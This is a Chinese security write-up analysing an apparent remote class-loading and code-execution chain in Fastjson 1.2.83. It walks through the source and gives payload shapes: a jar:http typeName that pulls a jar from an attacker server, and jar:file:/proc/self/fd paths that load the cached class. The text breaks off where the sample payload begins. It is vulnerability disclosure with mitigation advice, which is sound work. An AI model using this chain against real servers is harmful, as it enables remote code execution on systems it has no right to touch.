当前位置:首页 > 代码审计 > Java > 正文内容

Fastjson 1.2.83 0day @JSONType`预扫描导致的远程类加载与代码执行风险分析

UzJu3个月前 (07-21)Java3437

Fastjson 1.2.83 @JSONType 预扫描导致的远程类加载与代码执行风险分析

1. 摘要

Fastjson 1.2.83 的 ParserConfig.checkAutoType 存在 @JSONType 预扫描逻辑:它会把用户可控的 @type 值转换为 class resource 路径,读取 class 字节,并仅凭 class 上存在 @JSONType 注解将 jsonType 标记为 true。jsonType=true 会进入 autoTypeSupport || jsonType || expectClassFlag 放行条件,因此即使 autoTypeSupport=false,仍可继续执行 TypeUtils.loadClass(typeName, ...)。

在 Spring Boot fat jar 环境中,攻击者可通过 jar:http 触发 JDK 下载远程 jar,并使目标进程产生 /tmp/jar_cache*.tmp (deleted) 文件描述符;随后同一请求中的 jar:file:.proc.self.fd.N!... 可枚举命中该 fd,使 Fastjson 从远程 jar cache 中读取、加载并实例化攻击者提供的 class。该链路不依赖目标业务 classpath 中存在传统 gadget 类,JSON.parseObject(body, Dto.class) 绑定外层 DTO 也不能阻止字段级 @type 继续触发类型解析。可靠缓解方式是启用 SafeMode 或迁移至 Fastjson 2.x。

验证环境如下:

Fastjson: 1.2.83
SafeMode: false
AutoType: false
Runtime: Linux
Deployment: Spring Boot executable fat jar, java -jar 启动
ClassLoader: org.springframework.boot.loader.LaunchedURLClassLoader
关键文件系统能力: /proc/self/fd/N

单请求复现结论如下:

Target endpoint: POST http://127.0.0.1:18080/api/real/parse
Attacker jar:   http://127.0.0.1:18081/REMOTE
Payload shape:  jar:http + jar:file:.proc.self.fd.N
HTTP status:    200
markerExists=true
markerContent=jar-http-fd-chain constructor executed fd=35

/proc/<target-pid>/fd/35 -> /tmp/jar_cache5195082310316770587.tmp (deleted)

复现过程中使用受控 marker class。该 class 仅通过 Java 标准 API 写入固定文件 /tmp/rce-fastjson.txt,未包含系统命令、反连 shell 或外部网络连接逻辑。该验证用于证明安全边界被突破:外部 jar 中的 class 字节可经 Fastjson 的 checkAutoType -> @JSONType 预扫描 -> TypeUtils.loadClass -> 对象实例化 路径进入目标进程,并执行构造器代码。

修复建议为启用 Fastjson SafeMode 或迁移至 Fastjson 2.x。仅关闭 autoTypeSupport、仅使用 JSON.parseObject(body, Dto.class) 绑定目标 DTO、或仅移除传统 gadget 依赖,均不能覆盖本文验证的链路。

2. 背景与安全边界

Fastjson 1.x 支持通过 JSON 特殊字段 @type 指定反序列化目标类型。该机制用于多态反序列化,但也将不可信请求体与 Java 类型解析、class resource 读取和 ClassLoader 类加载路径连接起来。

常规风险模型如下:

外部请求体
  -> JSON.parse / JSON.parseObject
  -> 发现 @type
  -> ParserConfig.checkAutoType
  -> ClassLoader.loadClass
  -> JavaBeanDeserializer 实例化对象

历史 Fastjson 反序列化漏洞的处置通常依赖以下策略:

  • 关闭 autoTypeSupport;
  • 使用 JSON.parseObject(body, Dto.class) 绑定目标 DTO;
  • 从 classpath 中移除已知危险 gadget;
  • 依赖 Fastjson deny list;
  • 升级到较新 1.x 版本。

本文验证表明,上述策略不能完整覆盖 @JSONType 预扫描链路。原因在于该链路不要求 autoTypeSupport=true,也不要求目标业务系统 classpath 中预置传统危险 gadget。只要运行环境允许 Fastjson 读取攻击者可控 class resource,并且该 class 满足 @JSONType 预扫描条件,即可进入后续类加载与实例化流程。

3. 漏洞链路概览

完整攻击链分为七个阶段:

阶段一:进入 Fastjson 内置 @JSONType 类型
  @type = com.alibaba.fastjson.support.geo.Feature

阶段二:进入 Feature.properties 的 Map 解析器
  MapDeserializer 处理 properties 内部 @type

阶段三:Map 内部 @type 触发 checkAutoType
  checkAutoType(typeName, null, ...)

阶段四:jar:http 触发远程 jar 读取
  jar:http://host:port/REMOTE!.Eremote...

阶段五:JDK 生成 jar_cache 文件描述符
  /tmp/jar_cache*.tmp (deleted)

阶段六:后续 fd 枚举命中 jar cache
  jar:file:.proc.self.fd.35!.E35remote...

阶段七:jsonType 预扫描放行后加载并实例化 class
  typeName.replace('.', '/') + ".class"
  TypeUtils.loadClass(typeName, ...)

关键差异在于 typeName 不再只是普通 Java 类名,而是同时承担 class resource 定位符和 ClassLoader binary name 的角色。例如:

jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1

Fastjson 预扫描阶段执行:

typeName.replace('.', '/') + ".class"

于是该字符串会变成:

jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class

该字符串符合 jar URL resource 格式:jar:file:/path/to/jar!/entry.class。在 Spring Boot fat jar 环境下,LaunchedURLClassLoader 可读取该类 resource,并进一步配合 TypeUtils.loadClass 完成类加载。

4. 漏洞调用链与调用图

4.1 入口调用链

目标服务中的典型入口如下:

@PostMapping("/api/real/parse")
public String parse(@RequestBody String body) {
    RealRequest request = JSON.parseObject(body, RealRequest.class);
}

该入口对应的 Fastjson 调用链如下:

HTTP request body
  -> JSON.parseObject(body, RealRequest.class)
     JSON.java:297-299
  -> JSON.parseObject(input, type, config, processor, featureValues, features)
     JSON.java:366-379
  -> new DefaultJSONParser(input, config, featureValues)
     JSON.java:378
  -> parser.parseObject(clazz)
     JSON.java:343-344 / JSON.java:378-384
  -> DefaultJSONParser.parseObject(type)
     DefaultJSONParser.java:696-705
  -> JavaBeanDeserializer.deserialze(...)
     DefaultJSONParser.java:699-703

入口代码:

src/main/java/com/alibaba/fastjson/JSON.java:297

297    public static <T> T parseObject(String json, Class<T> clazz, Feature... features) {
298        return (T) parseObject(json, (Type) clazz, ParserConfig.global, null, DEFAULT_PARSER_FEATURE, features);
299    }

Parser 创建与解析分发:

src/main/java/com/alibaba/fastjson/JSON.java:378

378        DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
...
384            object = parser.parseObject(clazz, null);

src/main/java/com/alibaba/fastjson/parser/DefaultJSONParser.java:696

696        ObjectDeserializer deserializer = config.getDeserializer(type);
...
699            if (deserializer.getClass() == JavaBeanDeserializer.class) {
700                if (lexer.token()!= JSONToken.LBRACE && lexer.token()!=JSONToken.LBRACKET) {
...
703                return (T) ((JavaBeanDeserializer) deserializer).deserialze(this, type, fieldName, 0);
704            } else {
705                return (T) deserializer.deserialze(this, type, fieldName);

4.2 字段级 @type 调用链

DTO 绑定后,外层对象类型固定为 RealRequest.class,但字段值仍由字段反序列化器处理。当字段内部出现 @type,Fastjson 会重新进入 checkAutoType。

JavaBeanDeserializer.deserialze(...)
  -> 解析字段 key
  -> 命中 JSON.DEFAULT_TYPE_KEY,即 "@type"
     JavaBeanDeserializer.java:786-790
  -> 读取 typeName
     JavaBeanDeserializer.java:790
  -> 取字段声明类型作为 expectClass
     JavaBeanDeserializer.java:805-806
  -> ParserConfig.checkAutoType(typeName, expectClass, lexer.getFeatures())
     JavaBeanDeserializer.java:822-823

关键代码:

src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:786

786                    if ((typeKey != null && typeKey.equals(key))
787                            || JSON.DEFAULT_TYPE_KEY == key) {
788                        lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
789                        if (lexer.token() == JSONToken.LITERAL_STRING) {
790                            String typeName = lexer.stringVal();
...
805                            if (deserializer == null) {
806                                Class<?> expectClass = TypeUtils.getClass(type);
...
822                                if (userType == null) {
823                                    userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());

因此,JSON.parseObject(body, Dto.class) 只固定了最外层目标类型,不能阻止嵌套字段继续处理 @type。

4.3 Feature.properties 与 Map 容错调用链

样例 payload 使用 Fastjson 内置 com.alibaba.fastjson.support.geo.Feature。该类带有 @JSONType 注解,且 properties 字段为 Map 类型:

Feature
  -> @JSONType
  -> properties: Map<String, String>

当 properties 对象内部出现 @type 时,会进入 MapDeserializer。该路径的关键点是:MapDeserializer 对 checkAutoType 抛出的 JSONException 做了容错处理,失败候选 fd 会降级为 HashMap.class,整个数组链不会因为单个 fd 猜测失败而终止。

Feature.properties
  -> MapDeserializer.deserialze(...)
  -> 读取 properties 内部 "@type"
     MapDeserializer.java:174-190
  -> ParserConfig.checkAutoType(typeName, null, lexer.getFeatures())
     MapDeserializer.java:191
  -> 失败时 catch JSONException
     MapDeserializer.java:192-195
  -> clazz = HashMap.class,继续解析后续字段/后续数组元素
     MapDeserializer.java:193-204

关键代码:

src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:174

174            if (key == JSON.DEFAULT_TYPE_KEY
175                    && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
176                String typeName = lexer.scanSymbol(symbolTable, '"');
...
190                try {
191                    clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
192                } catch (JSONException ex) {
193                    returnClass = HashMap.class;
194                    clazz = null;
195                }

src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:198

198                    if (Map.class.isAssignableFrom(clazz) ) {
199                        lexer.nextToken(JSONToken.COMMA);
200                        if (lexer.token() == JSONToken.RBRACE) {
201                            lexer.nextToken(JSONToken.COMMA);
202                            return map;
203                        }
204                        continue;

该容错行为解释了原始 EXP 中 chain 数组的作用:第一项负责 jar:http 远程 jar 投递,后续多项负责枚举 /proc/self/fd/N,失败项不终止解析,命中项执行构造器。

4.4 checkAutoType 内部调用链

ParserConfig.checkAutoType 是漏洞触发的核心函数。相关调用链如下:

ParserConfig.checkAutoType(typeName, expectClass, features)
  -> SafeMode 检查
     ParserConfig.java:1325-1330
  -> 计算 autoTypeSupport
     ParserConfig.java:1333-1336
  -> 计算 expectClassFlag
     ParserConfig.java:1342-1361
  -> 使用 typeName 构造 class resource
     ParserConfig.java:1479-1483
  -> classLoader.getResourceAsStream(resourceName)
     ParserConfig.java:1485
  -> ASM ClassReader 读取 class
     ParserConfig.java:1487-1488
  -> TypeCollector.hasJsonType()
     ParserConfig.java:1489
  -> autoTypeSupport || jsonType || expectClassFlag
     ParserConfig.java:1500
  -> TypeUtils.loadClass(typeName, defaultClassLoader, true)
     ParserConfig.java:1502
  -> classLoader.loadClass(className)
     TypeUtils.java:1761

关键预扫描代码:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479

1479        boolean jsonType = false;
1480        InputStream is = null;
1481        try {
1482            String resource = typeName.replace('.', '/') + ".class";
1483            if (defaultClassLoader != null) {
1484                is = defaultClassLoader.getResourceAsStream(resource);
1485            } else {
1486                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
1487            }
1488            if (is != null) {
1489                ClassReader classReader = new ClassReader(is, true);
1490                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
1491                classReader.accept(visitor);
1492                jsonType = visitor.hasJsonType();

关键放行条件:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1500

1500        if (autoTypeSupport || jsonType || expectClassFlag) {
1501            boolean cacheClass = autoTypeSupport || jsonType;
1502            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);

类加载代码:

src/main/java/com/alibaba/fastjson/util/TypeUtils.java:1758

1758        if (classLoader != null) {
1759            try {
1760                Class<?> clazz = classMapping.get(className);
1761                clazz = classLoader.loadClass(className);
1762
1763                if (cache) {
1764                    classMapping.put(className, clazz);
1765                }
1766
1767                return clazz;

4.5 调用图

flowchart TD
    A["HTTP POST /api/real/parse"] --> B["JSON.parseObject(body, RealRequest.class)<br/>JSON.java:297"]
    B --> C["DefaultJSONParser.parseObject(type)<br/>DefaultJSONParser.java:696"]
    C --> D["JavaBeanDeserializer.deserialze<br/>DefaultJSONParser.java:699-703"]
    D --> E["字段级 @type 解析<br/>JavaBeanDeserializer.java:786-823"]
    E --> F["Feature.properties<br/>MapDeserializer"]
    F --> G["MapDeserializer 处理 properties.@type<br/>MapDeserializer.java:174-195"]
    G --> H["ParserConfig.checkAutoType(typeName, null, features)<br/>MapDeserializer.java:191"]
    H --> I["typeName.replace('.', '/') + '.class'<br/>ParserConfig.java:1482"]
    I --> J["ClassLoader.getResourceAsStream(resource)<br/>ParserConfig.java:1483-1487"]
    J --> K["ASM ClassReader + TypeCollector.hasJsonType<br/>ParserConfig.java:1488-1492"]
    K --> L["autoTypeSupport || jsonType || expectClassFlag<br/>ParserConfig.java:1500"]
    L --> M["TypeUtils.loadClass(typeName)<br/>ParserConfig.java:1502"]
    M --> N["classLoader.loadClass(className)<br/>TypeUtils.java:1761"]
    N --> O["JavaBeanDeserializer 创建对象实例"]
    O --> P["外部 class 构造器执行<br/>/tmp/rce-fastjson.txt"]

4.6 jar:http 到 /proc/self/fd 的运行时调用图

sequenceDiagram
    participant Client as 攻击请求
    participant Target as Spring Boot / Fastjson
    participant JDK as JDK JarURLConnection
    participant Attacker as Attacker HTTP Server
    participant Proc as /proc/self/fd
    participant Loader as LaunchedURLClassLoader

    Client->>Target: POST JSON chain
    Target->>Target: 解析 Feature.properties.@type
    Target->>JDK: getResourceAsStream("jar:http://.../REMOTE!/Eremote.class")
    JDK->>Attacker: GET /REMOTE
    Attacker-->>JDK: 返回 REMOTE jar
    JDK->>Target: 生成 /tmp/jar_cache*.tmp (deleted)
    Target->>Target: 继续解析 chain 后续元素
    Target->>Proc: getResourceAsStream("jar:file:/proc/self/fd/35!/E35remote.class")
    Proc-->>Loader: fd35 指向 jar_cache
    Loader->>Target: 返回 E35remote.class 字节
    Target->>Target: ASM 检测 @JSONType
    Target->>Loader: loadClass("jar:file:.proc.self.fd.35!.E35remote...")
    Loader-->>Target: 返回 Class
    Target->>Target: 实例化 class
    Target->>Proc: 构造器写入 /tmp/rce-fastjson.txt

4.7 关键代码映射表

阶段 代码位置 关键行为 安全影响
HTTP 入口 JSON.java:297-299 JSON.parseObject(body, Dto.class) 进入 Fastjson DTO 绑定只固定外层类型
Parser 创建 JSON.java:378-384 创建 DefaultJSONParser 并解析目标类型 进入 Fastjson 标准 JavaBean 解析流程
JavaBean 分发 DefaultJSONParser.java:696-705 获取反序列化器并调用 JavaBeanDeserializer 字段级解析开始
字段级 @type JavaBeanDeserializer.java:786-823 字段内部 @type 调用 checkAutoType DTO 绑定无法阻止嵌套类型选择
Map 容错 MapDeserializer.java:174-195 properties.@type 失败时降级为 HashMap 支持 fd 枚举链多次试错
resource 构造 ParserConfig.java:1479-1485 typeName.replace('.', '/') + ".class" 用户输入影响 class resource 路径
注解预扫描 ParserConfig.java:1488-1492 ASM 判断 @JSONType 外部 class 可设置 jsonType=true
条件放行 ParserConfig.java:1500-1502 jsonType=true 进入 loadClass 绕过 autoTypeSupport=false
类加载 TypeUtils.java:1758-1767 classLoader.loadClass(className) 加载远程 jar cache 中的 class
构造执行 JavaBeanDeserializer 实例化流程 调用默认构造器 触发外部 class 代码

5. 根因分析

5.1 SafeMode 前置拦截与 AutoType 开关差异

源码位置:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1325

代码片段:

1325        final int safeModeMask = Feature.SafeMode.mask;
1326        boolean safeMode = this.safeMode
1327                || (features & safeModeMask) != 0
1328                || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
1329        if (safeMode) {
1330            throw new JSONException("safeMode not support autoType : " + typeName);

分析:

SafeMode 是 checkAutoType 中最靠前的拦截逻辑。只要 SafeMode 生效,后续 autoTypeSupport、expectClassFlag、jsonType 预扫描都不会执行。

紧接着 Fastjson 才计算 AutoType 状态:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1333

1333        final int mask = Feature.SupportAutoType.mask;
1334        boolean autoTypeSupport = this.autoTypeSupport
1335                || (features & mask) != 0
1336                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

安全含义:

SafeMode=true 表示禁止 AutoType 机制进入后续解析分支;autoTypeSupport=false 只是让 autoTypeSupport 这个条件为 false。后续仍可能因为 jsonType=true 或 expectClassFlag=true 进入类加载流程。

结论:

SafeMode 是有效缓解;单纯关闭 AutoType 不是完整缓解。

5.2 外层 DTO 绑定与字段级多态解析分离

常见误区如下:

JSON.parseObject(body, Dto.class)

已经指定了反序列化目标类型,因此攻击者无法控制实际类型。该理解不完整。Fastjson 解析 JavaBean 字段时,字段内部仍可出现 @type。

源码位置:

src/main/java/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:786

代码片段:

786                    if ((typeKey != null && typeKey.equals(key))
787                            || JSON.DEFAULT_TYPE_KEY == key) {
788                        lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
789                        if (lexer.token() == JSONToken.LITERAL_STRING) {
790                            String typeName = lexer.stringVal();
...
805                            if (deserializer == null) {
806                                Class<?> expectClass = TypeUtils.getClass(type);
...
822                                if (userType == null) {
823                                    userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());

分析:

当字段对象中出现 @type 时,Fastjson 会取字段声明类型作为 expectClass,再调用:

config.checkAutoType(typeName, expectClass, lexer.getFeatures());

因此,DTO 绑定只约束外层入口类型,不代表内部字段不再处理 @type。

expectClassFlag 逻辑如下:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1342

1342        final boolean expectClassFlag;
1343        if (expectClass == null) {
1344            expectClassFlag = false;
1345        } else {
1346            long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
...
1357            ) {
1358                expectClassFlag = false;
1359            } else {
1360                expectClassFlag = true;
1361            }

分析:

如果 expectClass 不属于硬编码排除类型,expectClassFlag 会被设置为 true。后续条件 autoTypeSupport || jsonType || expectClassFlag 仍可能成立。

安全含义:

JSON.parseObject(body, Dto.class) 不是完整安全边界。只要 DTO 字段允许对象、接口、父类、抽象类或其他可多态结构,字段内部 @type 仍可能触发类型解析。

5.3 用户可控 typeName 参与 class resource 定位

该链路的核心缺陷位于 ParserConfig.checkAutoType 的 jsonType 预扫描分支。

源码位置:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479

代码片段:

1479        boolean jsonType = false;
1480        InputStream is = null;
1481        try {
1482            String resource = typeName.replace('.', '/') + ".class";
1483            if (defaultClassLoader != null) {
1484                is = defaultClassLoader.getResourceAsStream(resource);
1485            } else {
1486                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
1487            }
1488            if (is != null) {
1489                ClassReader classReader = new ClassReader(is, true);
1490                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
1491                classReader.accept(visitor);
1492                jsonType = visitor.hasJsonType();

分析:

typeName 来自 JSON 中的 @type。Fastjson 没有先确认它是常规 Java 类名,而是直接执行:

String resource = typeName.replace('.', '/') + ".class";

该逻辑在普通类名场景下是合理的:

typeName:
com.alibaba.fastjson.support.geo.Feature

resource:
com/alibaba/fastjson/support/geo/Feature.class

但当 typeName 是 URL-like 字符串时,会产生完全不同的效果:

typeName:
jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1

resource:
jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class

这已经不再是普通 classpath resource,而是可被部分 ClassLoader 解析的 jar URL resource。

安全含义:

用户输入同时控制了:

  • resource scheme:jar:file:
  • jar 文件路径:/proc/self/fd/20
  • jar entry:Eproc25d22e68c1ef25e1.class

这使 checkAutoType 从“检查本地类名”扩展成了“读取用户可影响的 class 字节”。

5.4 jar:http resource 解析触发远程 jar 下载

远程下载并非由业务代码主动发起,而是由 Fastjson 的 @JSONType 预扫描间接触发。触发条件是:攻击者控制的 typeName 被构造成 jar:http://...!.E... 形式,经过 Fastjson 的点号替换后,变成标准 jar URL resource。

输入的 typeName:

jar:http://localhost:18081/REMOTE!.Eremote25d22e68c1ef25e1

Fastjson 预扫描阶段执行:

String resource = typeName.replace('.', '/') + ".class";

转换后的 resource:

jar:http://localhost:18081/REMOTE!/Eremote25d22e68c1ef25e1.class

该字符串符合 JDK jar URL 格式:

jar:<jar-file-url>!/<entry-name>

其中:

jar-file-url = http://localhost:18081/REMOTE
entry-name   = Eremote25d22e68c1ef25e1.class

源码位置:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479

1479        boolean jsonType = false;
1480        InputStream is = null;
1481        try {
1482            String resource = typeName.replace('.', '/') + ".class";
1483            if (defaultClassLoader != null) {
1484                is = defaultClassLoader.getResourceAsStream(resource);
1485            } else {
1486                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

分析:

Fastjson 没有校验 resource 是否为普通 classpath resource,也没有限制 jar:、http: 等 URL scheme。resource 被直接交给当前 ClassLoader 的 getResourceAsStream。在 Spring Boot executable fat jar 环境中,ParserConfig.class.getClassLoader() 为 org.springframework.boot.loader.LaunchedURLClassLoader,其资源查找最终会进入 JDK URL/Jar 资源处理逻辑。

JDK 处理 jar:http://host/REMOTE!/Entry.class 时,必须先取得外层 jar 文件 http://host/REMOTE,才能在 jar 中定位 Entry.class。因此,即使 Fastjson 只是尝试读取一个 class resource,底层 JarURLConnection 也会向 attacker HTTP server 发起请求,下载整个 REMOTE jar。

独立探针验证结果:

url=jar:http://localhost:18081/REMOTE!/E237remote25d22e68c1ef25e1.class
connectionClass=sun.net.www.protocol.jar.JarURLConnection
useCachesBefore=true
useCachesAfter=true
jarFileURL=http://localhost:18081/REMOTE
entryName=E237remote25d22e68c1ef25e1.class
readBytes=560

目标进程文件描述符证据:

/proc/<pid>/fd/16 -> /tmp/jar_cache1592706594314070498.tmp (deleted)

attacker HTTP server 日志:

127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -
127.0.0.1 - - [20/Jul/2026 23:40:06] "GET /REMOTE HTTP/1.1" 200 -

安全含义:

远程恶意 class 的下载链路由以下条件共同触发:

用户控制 @type
  -> Fastjson 将 @type 转换为 resource
  -> resource 形态为 jar:http://...!/Entry.class
  -> ClassLoader.getResourceAsStream(resource)
  -> JDK JarURLConnection 请求 http://.../REMOTE
  -> 远程 jar 被缓存为 /tmp/jar_cache*.tmp (deleted)

因此,远程下载不是业务显式下载行为,而是 Fastjson 预扫描与 JDK jar URL 解析机制组合后的副作用。

5.5 ASM 注解检测缺少来源可信性约束

Fastjson 读取 class resource 后,会用自带 ASM 解析 class 注解。

源码位置:

src/main/java/com/alibaba/fastjson/asm/TypeCollector.java:71

代码片段:

71    public void visitAnnotation(String desc) {
72        if (JSONType.equals(desc)) {
73            jsonType = true;
74        }

源码位置:

src/main/java/com/alibaba/fastjson/asm/TypeCollector.java:106

106    public boolean hasJsonType() {
107        return jsonType;

分析:

TypeCollector 的判断非常简单:只要 class 的运行时可见注解中存在 Lcom/alibaba/fastjson/annotation/JSONType;,jsonType 就会变成 true。

该判断不验证:

  • class 字节来源是否可信;
  • class binary name 是否是常规 Java 源码命名;
  • class 是否来自应用 classpath;
  • class 是否属于业务允许的包名前缀。

安全含义:

攻击者控制的 class 字节只要带 @JSONType 注解,就能影响 checkAutoType 的安全决策。

5.6 jsonType 分支独立触发类加载

源码位置:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1500

代码片段:

1500        if (autoTypeSupport || jsonType || expectClassFlag) {
1501            boolean cacheClass = autoTypeSupport || jsonType;
1502            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
1503        }
1504
1505        if (clazz != null) {
1506            if (jsonType) {
1507                if (autoTypeSupport) {
1508                    TypeUtils.addMapping(typeName, clazz);
1509                }
1510                return clazz;

分析:

关键条件是:

autoTypeSupport || jsonType || expectClassFlag

当 autoTypeSupport=false 时,只要 jsonType=true,条件仍然成立。Fastjson 随后执行:

TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass)

如果加载成功,jsonType 分支直接返回该类。

安全含义:

@JSONType 预扫描实际上构成了 AutoType 关闭状态下的另一条放行通道。

5.7 资源路径转换与原始类名加载不一致

源码位置:

src/main/java/com/alibaba/fastjson/util/TypeUtils.java:1735

代码片段:

1735    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
1759        try {
1760            if (classLoader != null) {
1761                clazz = classLoader.loadClass(className);
...
1772            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
1773            if (contextClassLoader != null && contextClassLoader != classLoader) {
1774                clazz = contextClassLoader.loadClass(className);
...
1783        try {
1784            clazz = Class.forName(className);

分析:

预扫描阶段使用的是转换后的 resource:

typeName.replace('.', '/') + ".class"

加载阶段使用的是原始 typeName:

jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1

因此链路成立需要 ClassLoader 同时满足两个条件:

1. getResourceAsStream("jar:file:/proc/self/fd/20!/E...class") 能读到 class 字节
2. loadClass("jar:file:.proc.self.fd.20!.E...") 能加载同名 binary class

验证结果表明,在 Spring Boot fat jar 的 LaunchedURLClassLoader 场景中,上述闭环可以成立。

6. Fastjson 内置 Feature 类型的作用

6.1 Feature 是稳定入口

源码位置:

src/main/java/com/alibaba/fastjson/support/geo/Feature.java:8

代码片段:

8  /**
9   * @since 1.2.68
10  */
11 @JSONType(typeName = "Feature", orders = {"type", "id", "bbox", "coordinates", "properties"})
12 public class Feature
13         extends Geometry {
14     private String id;
15     private Geometry geometry;
16     private Map<String, String> properties = new LinkedHashMap<String, String>();

分析:

Feature 从 Fastjson 1.2.68 起随库自带,且标注 @JSONType。它不是传统意义上的危险 gadget,但它可以稳定触发 Fastjson 的 @JSONType 处理路径。

6.2 properties 提供可容错的嵌套触发点

源码位置:

src/main/java/com/alibaba/fastjson/support/geo/Feature.java:30

代码片段:

30     public Map<String, String> getProperties() {
31         return properties;
32     }
33
34     public void setProperties(Map<String, String> properties) {
35         this.properties = properties;

分析:

properties 是 Map<String,String>。如果 JSON 中 properties 对象内部继续出现 @type,会进入 MapDeserializer 的 @type 特殊分支。

源码位置:

src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:174

代码片段:

174                if (key == JSON.DEFAULT_TYPE_KEY
175                        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)
176                        && !Feature.isEnabled(features, Feature.DisableSpecialKeyDetect)
177                ) {
178                    String typeName = lexer.scanSymbol(parser.getSymbolTable(), '"');
...
190                        try {
191                            clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
192                        } catch (JSONException ex) {
193                            // skip
194                            clazz = java.util.HashMap.class;
195                        }

分析:

内层 properties.@type 调用的是:

config.checkAutoType(typeName, null, lexer.getFeatures());

这里 expectClass=null。如果某个候选 fd 不存在或 class resource 无法读取,JSONException 会被捕获,clazz 降级为 HashMap.class,解析继续。

源码位置:

src/main/java/com/alibaba/fastjson/parser/deserializer/MapDeserializer.java:198

198                    if (Map.class.isAssignableFrom(clazz) ) {
199                        lexer.nextToken(JSONToken.COMMA);
200                        if (lexer.token() == JSONToken.RBRACE) {
201                            lexer.nextToken(JSONToken.COMMA);
202                            return map;
203                        }
204                        continue;

安全含义:

MapDeserializer 的异常吞噬使 fd 枚举具有容错性。多个失败尝试不会中断整个请求解析,因此 chain 数组可以批量测试多个 /proc/self/fd/N。

7. jar:file:.proc.self.fd.N!.E... 的路径转换原理

这类字符串看起来不像 Java 类名,但对该链路而言,它同时满足两个目标:

作为 Fastjson typeName:
jar:file:.proc.self.fd.20!.Eproc25d22e68c1ef25e1

作为预扫描 resource:
jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class

7.1 /proc/self/fd/N 的作用

普通 jar 路径通常包含点号:

/tmp/a.jar

Fastjson 会执行 replace('.', '/'),导致路径变成:

/tmp/a/jar

路径被破坏。

Linux /proc/self/fd/N 不包含点号,替换后仍保持有效路径:

.proc.self.fd.20 -> /proc/self/fd/20

7.2 !.E... 的作用

jar URL 使用 !/{entry} 分隔 jar 文件和内部 entry:

jar:file:/path/to/file!/Entry.class

输入中的:

!.Eproc25d22e68c1ef25e1

经过点号替换后变成:

!/Eproc25d22e68c1ef25e1

再追加 .class,得到:

!/Eproc25d22e68c1ef25e1.class

这正好是 jar entry 路径。

8. Spring Boot fat jar 环境差异

普通 classpath 启动和 Spring Boot fat jar 启动的 ClassLoader 行为不同。

8.1 普通 classpath 启动

普通 IDE 或 Maven 启动时,Fastjson 所在 ClassLoader 通常是:

sun.misc.Launcher$AppClassLoader

classpath URL 通常是:

file:/path/to/fastjson-1.2.83.jar

验证结果:

jar:file:/proc/self/fd/12!/E.class -> NOT FOUND
jar:file:/path/fastjson-1.2.83.jar!/com/alibaba/fastjson/JSON.class -> NOT FOUND

结论:

普通 classpath 启动不能直接解释 /proc/self/fd 链路。

8.2 Spring Boot executable fat jar 启动

Spring Boot fat jar 使用:

org.springframework.boot.loader.LaunchedURLClassLoader

验证代码位置:

/private/tmp/fastjson1283rce-bootprobe/src/main/java/com/uzju/test/fastjson1283rce/BootLoaderProbeApplication.java:17

代码片段:

17        ClassLoader cl = ParserConfig.class.getClassLoader();
18        Thread.currentThread().setContextClassLoader(cl);
19        System.out.println("parserConfigLoader=" + cl.getClass().getName());
20        System.out.println("contextLoader=" + Thread.currentThread().getContextClassLoader().getClass().getName());
21        if (cl instanceof URLClassLoader) {
22            URL[] urls = ((URLClassLoader) cl).getURLs();
23            System.out.println("urlCount=" + urls.length);
24            for (int i = 0; i < Math.min(8, urls.length); i++) {
25                System.out.println("url[" + i + "]=" + urls[i]);

Ubuntu 输出:

parserConfigLoader=org.springframework.boot.loader.LaunchedURLClassLoader
contextLoader=org.springframework.boot.loader.LaunchedURLClassLoader
url[0]=jar:file:/tmp/fastjson1283rce-bootprobe.jar!/BOOT-INF/classes!/
url[1]=jar:file:/tmp/fastjson1283rce-bootprobe.jar!/BOOT-INF/lib/spring-boot-2.6.13.jar!/

验证结果表明,Spring Boot fat jar loader 可以读取存在的绝对 jar:file: resource:

resource=jar:file:/private/tmp/fd/12!/E.class
  url=jar:file:/private/tmp/fd/12!/E.class
  stream=read:202

在 Linux 主机上,进一步验证 /proc/self/fd/N 形式也可以读取:

resource=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
  url=jar:file:/proc/self/fd/20!/Eproc25d22e68c1ef25e1.class
  stream=read:202

9. 样例载荷结构解析

抽象结构:

{
